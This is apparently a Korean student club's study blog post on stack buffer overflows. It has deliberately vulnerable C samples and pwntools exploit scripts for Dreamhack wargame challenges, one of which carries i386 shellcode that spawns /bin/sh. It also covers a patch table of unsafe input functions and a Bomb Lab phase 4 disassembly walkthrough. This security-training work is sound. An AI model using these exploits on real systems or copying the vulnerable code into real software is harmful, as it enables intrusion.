ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SISS/시스템 스터디] 여름 6주차 스터디 - 스택 버퍼 오버플로우, phase 4
    24-여름 SISS/시스템 2024. 8. 10. 21:15

    여름 6주차 스터디 - 스택 버퍼 오버플로우, phase 4

    : 6주차(08.05.~08.11.) [Stack Buffer Overflow]Stack Buffer Overflow phase_4 3.pdf 2,3

    수강 인증 화면 캡쳐

     

    Stack Buffer Overflow


    • 스택 버퍼 오버플로우 → 스택의 버퍼에서 발생하는 오버플로우
    • 버퍼 → 목적지로의 이동 이전에 데이터가 임시로 보관되는 곳(처리 속도가 입력 속도보다 느릴 경우 데이터가 유실될 위험이 있음) → 현대에는 완충의 의미가 흐려져 스택 버퍼, 힙 버퍼와 같이 ‘저장소’의 뜻으로 사용되기도 함 
      • 버퍼 오버플로우 → 버퍼가 넘치는 것 → 일반적으로 버퍼는 연속적으로 할당되어있으므로 오버플로우 발생 시 이후 버퍼의 값이 조작될 위험이 발생 → (예시) int의 경우 4바이트, char은 10바이트의 크기의 버퍼가 할당되는데, 그 이상의 데이터 입력 시 오버플로우 발생

     

    • 스택 버퍼 오버플로우 예시
      • check_auth에서 temp버퍼를 복사할 때, temp의 크기(16 바이트)가 아니라 인자인 password의 크기만큼 복사 →  argv[1] 가 16 바이트 이상이 되면 스택 버퍼 오버플로우가 발생
      • 이 때 auth가 temp버퍼 뒤에 존재하므로, auth의 값을 0이 아닌 값으로 바꿀 수 있게 됨 → 실제 인증 여부와 상관없이 if(check_auth(argv[1])) 가 항상 참이 되는 문제 발생

    스택 버퍼 오버플로우 예시

    // Name: sbof_auth.c
    // Compile: gcc -o sbof_auth sbof_auth.c -fno-stack-protector
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int check_auth(char *password) {
        int auth = 0;
        char temp[16];
        
        strncpy(temp, password, strlen(password));
        
        if(!strcmp(temp, "SECRET_PASSWORD"))
            auth = 1;
        
        return auth;
    }
    
    int main(int argc, char *argv[]) {
        if (argc != 2) {
            printf("Usage: ./sbof_auth ADMIN_PASSWORD\n");
            exit(-1);
        }
        
        if (check_auth(argv[1]))
            printf("Hello Admin!\n");
        else
            printf("Access Denied!\n");
    }

     

    • 데이터 유출 예시
      • c언어의 문자열은 널바이트로 끝남 → 오버플로우로 널바이트 제거 시 문자열의 끝을 인식하지 못해 다른 버퍼의 데이터를 읽을 수 있음
      // Name: sbof_leak.c
      // Compile: gcc -o sbof_leak sbof_leak.c -fno-stack-protector
      
      #include <stdio.h>
      #include <string.h>
      #include <unistd.h>
      
      int main(void) {
        char secret[16] = "secret message";
        char barrier[4] = {};
        char name[8] = {};
        
        memset(barrier, 0, 4);
        
        printf("Your name: ");
        read(0, name, 12);
        
        printf("Your name is %s.", name);
      }
      

    데이터 유출 예시 사진

     

    • 실행 흐름 조작 예시
      • 함수 호출 시의 반환 주소를 조작
      // Name: sbof_ret_overwrite.c
      // Compile: gcc -o sbof_ret_overwrite sbof_ret_overwrite.c -fno-stack-protector
      
      #include <stdio.h>
      #include <stdlib.h>
      
      int main(void) {
          char buf[8];
          printf("Overwrite return address with 0x4141414141414141: ");
          gets(buf);
          return 0;
      }
      

    실행 흐름 조작 예시

     

    • (참고) 스택 오버플로우 → 스택 영역이 너무 많이 확장되어서 발생하는 버그

     

    실습 1 - Return Address Overwrite


    • 반환 주소 조작
      • 예제 코드 → scanf가 공백 문자 입력 전까지 계속 입력받는 함수이므로 버퍼 크기보다 큰 입력이 들어오면 오버플로우가 발생함 (OOB / Out-Of-Bound) → %s 대신 %[n]s를 사용하여 n개의 문자만 입력받도록 해야함
        • 트리거 후 스택 확인해보기
        // Name: rao.c
        // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
        
        #include <stdio.h>
        #include <unistd.h>
        
        void init() {
          setvbuf(stdin, 0, 2, 0);
          setvbuf(stdout, 0, 2, 0);
        }
        
        void get_shell() {
          char *cmd = "/bin/sh";
          char *args[] = {cmd, NULL};
        
          execve(cmd, args, NULL);
        }
        
        int main() {
          char buf[0x28];
        
          init();
        
          printf("Input: ");
          scanf("%s", buf);
        
          return 0;
        }
        

     

    • 익스플로잇
      • nearpc → rbp-0x30에 버퍼 위치 → 반환 주소는 rbp 기준 rbp+0x8 위치에 저장 → 0x38만큼 떨어진 곳에 입력하면 조작 가능
      • print get_shell (get_shell 주소 찾기 → 0x4006aa) → A + B + get_shell()
      • 엔디언(데이터 정렬 방식) 적용
      • 페이로드(공격을 위해 프로그램에 전달하는 데이터) 구성
    pwndbg> nearpc
       0x400706             call   printf@plt 
    
       0x40070b             lea    rax, [rbp - 0x30]
       0x40070f             mov    rsi, rax
       0x400712             lea    rdi, [rip + 0xab]
       0x400719             mov    eax, 0
     ► 0x40071e             call   __isoc99_scanf@plt <__isoc99_scanf @plt>
            format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
            vararg: 0x7fffffffe2e0 ◂— 0x0
    ...
    pwndbg> x/s 0x4007c4
    0x4007c4:       "%s"__isoc99_scanf
    $ gdb rao -q
    pwndbg> print get_shell
    $1 = {<text variable, no debug info>} 0x4006aa <get_shell>
    pwndbg> quit
    // Name: endian.c
    // Compile: gcc -o endian endian.c
    
    #include <stdio.h>
    int main() {
      unsigned long long n = 0x4006aa;
    
      printf("Low <-----------------------> High\n");
    
      for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
    
      return 0;
    }
    $ ./endian
    Low <-----------------------> High
    0xaa 0x6 0x40 0x0 0x0 0x0 0x0 0x0
    from pwn import *
    
    p = remote("host1.dreamhack.games", 21162)
    context.arch = "amd64"
    
    payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
    p.sendafter("Input: ", payload)
    p.interactive()

    실습 1 - Return Address Overwrite

     

    • 취약점 패치
      • rao
        입력 함수(패턴) 위험도 평가 근거
        gets(buf) 매우 위험 • 입력받는 길이에 제한이 없음.
        • 버퍼의 널 종결을 보장하지 않음: 입력의 끝에 널바이트를 삽입하므로, 버퍼를 꽉채우면 널바이트로 종결되지 않음. 이후 문자열 관련 함수를 사용할 때 버그가 발생하기 쉬움.
        scanf(“%s”, buf) 매우 위험 • 입력받는 길이에 제한이 없음.
        • 버퍼의 널 종결을 보장하지 않음: gets와 동일.
        scanf(“%[width]s”, buf) 주의 필요 • width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1을 만족하지 않으면, 오버플로우가 발생할 수 있음.
        • 버퍼의 널 종결을 보장하지 않음: gets와 동일.
        fgets(buf, len, stream) 주의 필요 • len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, 오버플로우가 발생할 수 있음.
        • 버퍼의 널 종결을 보장함.
        ◦ len보다 적게 입력하면, 입력의 끝에 널바이트 삽입.
        ◦ len만큼 입력하면, 입력의 마지막 바이트를 버리고 널바이트 삽입.
        데이터 유실 주의: 버퍼에 담아야 할 데이터가 30바이트인데, 버퍼의 크기와 len을 30으로 작성하면, 29바이트만 저장되고, 마지막 바이트는 유실됨

     

    실습 2 - basic_exploitation_000


    • 소스 코드
    // basic_exploitation_000.c
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    
    
    void alarm_handler() {
        puts("TIME OUT");
        exit(-1);
    }
    
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        signal(SIGALRM, alarm_handler);
        alarm(30);
    }
    
    
    int main(int argc, char *argv[]) {
    
        char buf[0x80];
    
        initialize();
        
        printf("buf = (%p)\n", buf);
        scanf("%141s", buf);
    
        return 0;
    }

     

    • exploit.py
    from pwn import *
    
    p = remote("host3.dreamhack.games", 19333)
    context.arch = "i386"
    
    p.recvuntil("buf = (")
    buf_address = int(p.recv(10), 16)
    p.recvuntil("\n")
    
    payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
    payload += b"\x80"*106
    payload += p32(buf_address)
    
    p.send(payload)
    p.interactive()

    실습 2 - basic_exploitation_000

     

    실습 3 - basic_exploitation_001


    • exploit.py
    from pwn import * 
    
    p = remote("host3.dreamhack.games", 11132)
    context.arch = "i386"
    
    payload = b"\x80"*132 + p32(0x80485b9)
    
    p.send(payload)
    p.interactive()

    실습 3 - basic_exploitation_001

     

    Bomb Lab - phase 4


    • disass phase_4
      • <+4>, <+9>: rcx, rdx 레지스터에 각각 rsp+0xc, rsp+0x8 주소 저장 (입력받을 값을 저장하기 위함)
      • <+29>: eax에 저장된 값(<+24>에서 입력받은 것)과 2를 비교
      • <+32>: 같지 않으면(2와) <+41>로 점프 (폭탄 터짐)
      • <+32>, <+39>: 첫 입력과 14를 비교해 14 이하의 값이면 계속 진행 (<+46>으로 이동)
      • <+56>: edi에 [rsp+0x8](첫 입력) 저장
      • <+60>: func4 함수 호출 (인자는 edi(첫 입력), esi(0), edx(14))
      • <+67>: eax가 0이 아닐 경우 폭탄이 터짐
      • <+74>: 두 번째 입력 값이 0이 아니면 폭탄이 터짐 → 두 번째 입력은 무조건 0일 것

     

    • disass func4
      • <+4>, <+6>, <+8>: edx(14)를 eax에 복사한 후 eax(14)에서 esi(0)를 빼서 ecx에 복사 (14가 된 eax 값이 복사됨)
      • <+10>: eax가 음수인지 검사하여(ecx를 31비트만큼 오른쪽 시프트) 음수일 경우 ecx를 1로 변경
      • <+13>, <+17>: eax(edx)에 ecx(esi)를 더해서 2로 나눈 후, ecx에 (rax+rsi = edx+esi/2)를 저장
      • <+20>, <+22>, <+36>: ecx, edi를 비교해 ecx가 더 작거나 같으면 eax를 0으로 변경 → edi 값(첫 입력)이 7이면 <+36>으로 점프해 조건을 만족하게 됨

    disass phase_4, disass func4

Designed by Tistory.